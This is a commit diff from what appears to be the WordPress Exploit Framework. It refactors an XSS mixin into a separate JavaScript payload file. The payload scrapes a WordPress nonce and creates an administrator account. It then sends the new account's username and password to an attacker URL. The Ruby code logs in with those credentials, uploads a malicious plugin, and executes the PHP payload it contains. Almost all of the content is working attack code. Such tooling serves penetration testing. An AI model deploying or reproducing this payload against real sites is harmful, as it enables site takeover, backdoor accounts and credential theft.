Cleanup Wpxf::WordPress::Xss mixin

Author: rastating

data/js/create_wp_user.js

@@ -0,0 +1,24 @@
+var create_user = function () {
+  var nonce = this.responseText.match(/id="_wpnonce_create-user" name="_wpnonce_create-user" value="([a-z0-9]+)"/i)[1];
+  var data = new FormData();
+
+  data.append('action', 'createuser');
+  data.append('_wpnonce_create-user', nonce);
+  data.append('_wp_http_referer', '$wordpress_url_new_user');
+  data.append('user_login', '$username');
+  data.append('email', '$email');
+  data.append('pass1', '$password');
+  data.append('pass2', '$password');
+  data.append('role', 'administrator');
+
+  postInfo("$wordpress_url_new_user", data, function () {
+    var a = document.createElement("script");
+    a.setAttribute("src", "$xss_url?u=$username&p=$password");
+    document.head.appendChild(a);
+  });
+};
+
+ajax_download({
+  path: "$wordpress_url_new_user",
+  cb: create_user
+});

lib/wpxf/wordpress/xss.rb

@@ -4,9 +4,7 @@
 module Wpxf::WordPress::Xss
   include Wpxf
   include Wpxf::Net::HttpServer
-  include Wpxf::WordPress::Login
   include Wpxf::WordPress::Plugin
-
   include ERB::Util
 
   # Initialize a new instance of {Xss}.
@@ -64,38 +62,19 @@ def xss_ascii_encoded_include_script
   # @return [String] a script that will create a new admin user and post the
   #   credentials back to {#xss_url}.
   def wordpress_js_create_user
-    username = Utility::Text.rand_alpha(6)
-    password = Utility::Text.rand_alpha(10)
-
-    %Q|
+    variables = {
+      '$wordpress_url_new_user' => wordpress_url_new_user,
+      '$username' => Utility::Text.rand_alpha(6),
+      '$password' => Utility::Text.rand_alpha(10),
+      '$email' => "#{Utility::Text.rand_alpha(7)}@#{Utility::Text.rand_alpha(10)}.com",
+      '$xss_url' => xss_url
+    }
+
+    %(
       #{js_ajax_download}
       #{js_ajax_post}
-
-      var create_user = function () {
-        var nonce = this.responseText.match(/id="_wpnonce_create-user" name="_wpnonce_create-user" value="([a-z0-9]+)"/i)[1];
-        var data = new FormData();
-
-        data.append('action', 'createuser');
-        data.append('_wpnonce_create-user', nonce);
-        data.append('_wp_http_referer', '#{wordpress_url_new_user}');
-        data.append('user_login', '#{username}');
-        data.append('email', '#{Utility::Text.rand_alpha(7)}@#{Utility::Text.rand_alpha(10)}.com');
-        data.append('pass1', '#{password}');
-        data.append('pass2', '#{password}');
-        data.append('role', 'administrator');
-
-        postInfo("#{wordpress_url_new_user}", data, function () {
-          var a = document.createElement("script");
-          a.setAttribute("src", "#{xss_url}?u=#{username}&p=#{password}");
-          document.head.appendChild(a);
-        });
-      };
-
-      ajax_download({
-        path: "#{wordpress_url_new_user}",
-        cb: create_user
-      });
-    |
+      #{read_js_file_with_vars('create_wp_user.js', variables)}
+    )
   end
 
   # Default HTTP request handler for XSS modules which will serve the script
@@ -127,21 +106,16 @@ def upload_shell(username, password)
     cookie = authenticate_with_wordpress(username, password)
     return false unless cookie
 
-    emit_info 'Uploading payload...'
     plugin_name = Utility::Text.rand_alpha(10)
     payload_name = Utility::Text.rand_alpha(10)
+
+    emit_info 'Uploading payload...'
     unless wordpress_upload_payload_plugin(plugin_name, payload_name, cookie)
       emit_error 'Failed to upload the payload'
       return false
     end
 
-    payload_url = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
-    emit_info "Executing the payload at #{payload_url}..."
-    res = execute_get_request(url: payload_url)
-
-    if res && res.code == 200 && !res.body.strip.empty?
-      emit_success "Result: #{res.body}"
-    end
+    execute_payload(plugin_name, payload_name)
 
     true
   end
@@ -150,4 +124,18 @@ def upload_shell(username, password)
   def xss_shell_success
     @success
   end
+
+  private
+
+  def execute_payload(plugin_name, payload_name)
+    payload_url = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
+    emit_info "Executing the payload at #{payload_url}..."
+    res = execute_get_request(url: payload_url)
+    emit_success "Result: #{res.body}" if res && res.code == 200 && !res.body.strip.empty?
+  end
+
+  def read_js_file_with_vars(name, vars)
+    matcher = /#{vars.keys.map { |k| Regexp.escape(k) }.join('|')}/
+    File.read(File.join(Wpxf.data_directory, 'js', name)).gsub(matcher, vars)
+  end
 end